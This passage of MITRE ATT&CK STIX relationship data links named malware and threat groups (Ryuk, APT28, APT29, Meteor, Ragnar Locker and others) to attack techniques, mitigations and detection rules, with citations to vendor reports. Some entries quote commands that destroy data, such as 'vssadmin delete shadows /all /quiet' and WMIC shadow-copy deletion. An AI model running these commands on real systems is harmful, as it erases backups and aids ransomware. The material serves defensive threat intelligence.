","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4cc78773-df9f-40d8-a2e5-eb2eadb05409","type":"relationship","created":"2020-03-26T15:53:25.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). 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Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for hijacking weaknesses.(Citation: Powersploit)\n\nUse the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.\n\nFind and eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate.\n\nClean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries. Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations.(Citation: Microsoft CreateProcess)(Citation: Microsoft Dynamic-Link Library Security)(Citation: Vulnerability and Exploit Detector)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2bcda58-39af-43b6-bee4-13f1aca103c0","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for unusual kernel driver installation activity that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.","source_ref":"x-mitre-data-component--23e4ee78-26f3-4fcf-ba43-ab953962f96c","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--170fb051-0d3d-4105-b6d2-96c9c68e4b8c","type":"relationship","created":"2020-10-27T19:26:38.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. 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Retrieved August 19, 2020."}],"modified":"2020-10-27T19:26:38.063Z","description":"[BLINDINGCAN](https://attack.mitre.org/software/S0520) has executed commands via cmd.exe.(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5a7aeb29-4f1c-43e4-9efa-dc6fb812f281","type":"relationship","created":"2020-05-14T14:27:31.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}],"modified":"2020-05-14T14:27:31.195Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has used <code>cmd.exe</code> to create a Registry entry to establish persistence.(Citation: CrowdStrike Ryuk January 2019)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2553142-9377-42b3-9fd6-50fcbd4263b3","type":"relationship","created":"2021-02-08T21:41:25.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}],"modified":"2021-02-08T21:41:25.806Z","description":"[Explosive](https://attack.mitre.org/software/S0569) has a function to use the OpenClipboard wrapper.(Citation: CheckPoint Volatile Cedar March 2015) ","relationship_type":"uses","source_ref":"malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96e928af-dbfc-4743-a1dc-353904e21fd3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2019-07-26T20:45:14.335Z","description":"[Prikormka](https://attack.mitre.org/software/S0113) contains a module that collects documents with certain extensions from removable media or fixed drives connected via USB.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ff9e8d81-dc74-4494-a4aa-54f8039f9ad7","created":"2022-02-02T21:30:09.805Z","x_mitre_version":"1.0","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lizar](https://attack.mitre.org/software/S0681) has encrypted data before sending it to the server.(Citation: BiZone Lizar May 2021)","modified":"2022-04-05T17:31:10.185Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--524261f3-8b87-4c99-b99b-1e78032f072c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2018","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. 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Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe\n* Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Endurant CMSTP July 2018","description":"Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. 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Operation North Star: Behind The Scenes. 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Retrieved July 26, 2021."}],"modified":"2021-07-26T17:53:02.916Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used legitimate credentials to gain initial access, maintain access, and exfiltrate data from a victim network. The group has specifically used credentials stolen through a spearphishing email to login to the DCCC network. The group has also leveraged default manufacturer's passwords to gain initial access to corporate networks via IoT devices such as a VOIP phone, printer, and video decoder.(Citation: Trend Micro Pawn Storm April 2017)(Citation: DOJ GRU Indictment Jul 2018)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--069d3677-2694-4385-b5c3-ea6e231d26d9","type":"relationship","created":"2020-06-11T19:27:54.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. 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Retrieved November 12, 2020."}],"modified":"2020-11-13T19:31:02.408Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) has used compromised websites and Google Ads to bait victims into downloading its installer.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: IBM Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8e31b9d-941d-4f58-ae3a-3bdbf4b2a923","type":"relationship","created":"2021-06-21T13:17:56.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. 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Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) can use `bcdedit` to delete different boot identifiers on a compromised host; it can also use `vssadmin.exe delete shadows /all /quiet` and `C:\\\\Windows\\\\system32\\\\wbem\\\\wmic.exe shadowcopy delete`.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-09T15:23:57.943Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6a1693a7-1e85-48b6-9097-11339a987099","created":"2017-05-31T21:33:27.062Z","x_mitre_version":"1.0","external_references":[{"source_name":"Dell TG-3390","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018."},{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has downloaded additional malware and tools, including through the use of `certutil`, onto a compromised host .(Citation: Dell TG-3390)(Citation: Trend Micro DRBControl February 2020)","modified":"2022-04-15T13:27:52.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98229d5a-fce3-442e-91cf-7ec7b7994248","type":"relationship","created":"2017-05-31T21:33:27.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. 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Retrieved April 19, 2019."},{"source_name":"ESET Zebrocy May 2019","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."},{"description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","source_name":"Accenture SNAKEMACKEREL Nov 2018"}],"modified":"2020-03-17T02:54:27.343Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) uses SMTP and POP3 for C2.(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--588865e4-caec-4150-9c03-df5e28eb9c79","type":"relationship","created":"2019-01-30T19:18:20.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/","source_name":"TrendMicro MacOS April 2018"},{"source_name":"Trend Micro MacOS Backdoor November 2020","url":"https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html","description":"Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."},{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}],"modified":"2021-10-11T21:57:19.560Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) collects processor information, memory information, computer name, hardware UUID, serial number, and operating system version. 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(2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.","url":"https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"}],"modified":"2020-03-17T19:06:43.785Z","description":"[BLACKCOFFEE](https://attack.mitre.org/software/S0069) uses Microsoft’s TechNet Web portal to obtain an encoded tag containing the IP address of a command and control server and then communicates separately with that IP address for C2. If the C2 server is discovered or shut down, the threat actors can update the encoded IP address on TechNet to maintain control of the victims’ machines.(Citation: FireEye APT17)","relationship_type":"uses","source_ref":"malware--d69c8146-ab35-4d50-8382-6fc80e641d43","target_ref":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7653431a-18ac-43da-8308-63c76ecf0c22","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Umbreon Trend Micro","description":"Fernando Mercês. (2016, September 5). Pokémon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046"}],"modified":"2020-03-16T19:09:40.075Z","description":"[Umbreon](https://attack.mitre.org/software/S0221) hides from defenders by hooking libc function calls, hiding artifacts that would reveal its presence, such as the user account it creates to provide access and undermining strace, a tool often used to identify malware.(Citation: Umbreon Trend Micro)","relationship_type":"uses","source_ref":"malware--3d8e547d-9456-4f32-a895-dc86134e282f","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9dc630a6-a6fd-4173-8236-9bbb1041f7ea","type":"relationship","created":"2021-03-05T18:54:56.641Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PTSecurity Higaisa 2020","url":"https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/","description":"PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.641Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) used an XSL file to run VBScript code.(Citation: PTSecurity Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05104256-7e9a-457b-8e9f-86976992f3c7","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Linfo May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Linfo. 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(2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."},{"source_name":"Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks","url":"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/","description":"MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020."},{"source_name":"MSTIC Nobelium Oct 2021","url":"https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/","description":"Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022."}],"modified":"2022-03-25T19:34:14.600Z","description":"[APT29](https://attack.mitre.org/groups/G0016) added their own devices as allowed IDs for active sync using <code>Set-CASMailbox</code>, allowing it to obtain copies of victim mailboxes. It also added additional permissions (such as Mail.Read and Mail.ReadWrite) to compromised Application or Service Principals.(Citation: Volexity SolarWinds)(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)(Citation: MSTIC Nobelium Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--57db6603-303e-4749-8a92-2e4021aee764","type":"relationship","created":"2021-03-30T17:56:37.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-04-01T13:04:01.115Z","description":"Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--800f9819-7007-4540-a520-40e655876800","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05d0c3fe-f210-4dd1-a082-45ac8f0c1c47","type":"relationship","created":"2019-12-19T21:05:38.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2019-12-19T21:05:38.420Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba","target_ref":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0841cd91-1151-411f-befc-0204e3a3eb30","type":"relationship","created":"2020-06-19T19:08:40.402Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."},{"source_name":"Unit 42 Valak July 2020","url":"https://unit42.paloaltonetworks.com/valak-evolution/","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020."},{"source_name":"SentinelOne Valak June 2020","url":"https://assets.sentinelone.com/labs/sentinel-one-valak-i   ","description":"Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. 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(2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019."},{"source_name":"ProofPoint Ursnif Aug 2016","url":"https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality","description":"Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019."}],"modified":"2019-06-24T16:46:20.815Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used Registry modifications as part of its installation routine.(Citation: TrendMicro BKDR_URSNIF.SM)(Citation: ProofPoint Ursnif Aug 2016)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c4bc8f71-e4f4-42b8-a39f-b4512987a423","type":"relationship","created":"2021-02-08T21:24:53.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."},{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T18:04:49.164Z","description":"[Volatile Cedar](https://attack.mitre.org/groups/G0123) has targeted publicly facing web servers, with both automatic and manual vulnerability discovery.(Citation: CheckPoint Volatile Cedar March 2015) (Citation: ClearSky Lebanese Cedar Jan 2021) ","relationship_type":"uses","source_ref":"intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d30d8fa0-7f24-41e5-ae8d-e4449e88d2f0","type":"relationship","created":"2017-05-31T21:33:27.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"},{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-06-22T17:54:15.755Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) tools have contained an application to check performance of USB flash drives. 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Retrieved June 29, 2020."}],"modified":"2020-06-30T00:39:39.891Z","description":"[Ragnar Locker](https://attack.mitre.org/software/S0481) can delete volume shadow copies using <code>vssadmin delete shadows /all /quiet</code>.(Citation: Sophos Ragnar May 2020)","relationship_type":"uses","source_ref":"malware--54895630-efd2-4608-9c24-319de972a9eb","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--efa98949-4b58-4407-8fa2-366c06dc2ed9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). 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Retrieved January 26, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bisonal](https://attack.mitre.org/software/S0268) has been loaded through a `.wll` extension added to the ` %APPDATA%\\microsoft\\word\\startup\\` repository.(Citation: Talos Bisonal Mar 2020) ","modified":"2022-04-18T18:11:57.931Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d736ba76-c58b-4010-865e-68cd67fae4bf","created":"2022-02-02T21:32:07.064Z","x_mitre_version":"1.0","external_references":[{"source_name":"Gemini FIN7 Oct 2021","url":"https://geminiadvisory.io/fin7-ransomware-bastion-secure/","description":"Gemini Advisory. (2021, October 21). FIN7 Recruits Talent For Push Into Ransomware. Retrieved February 2, 2022."},{"source_name":"Threatpost Lizar May 2021","url":"https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/","description":"Seals, T.. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved February 2, 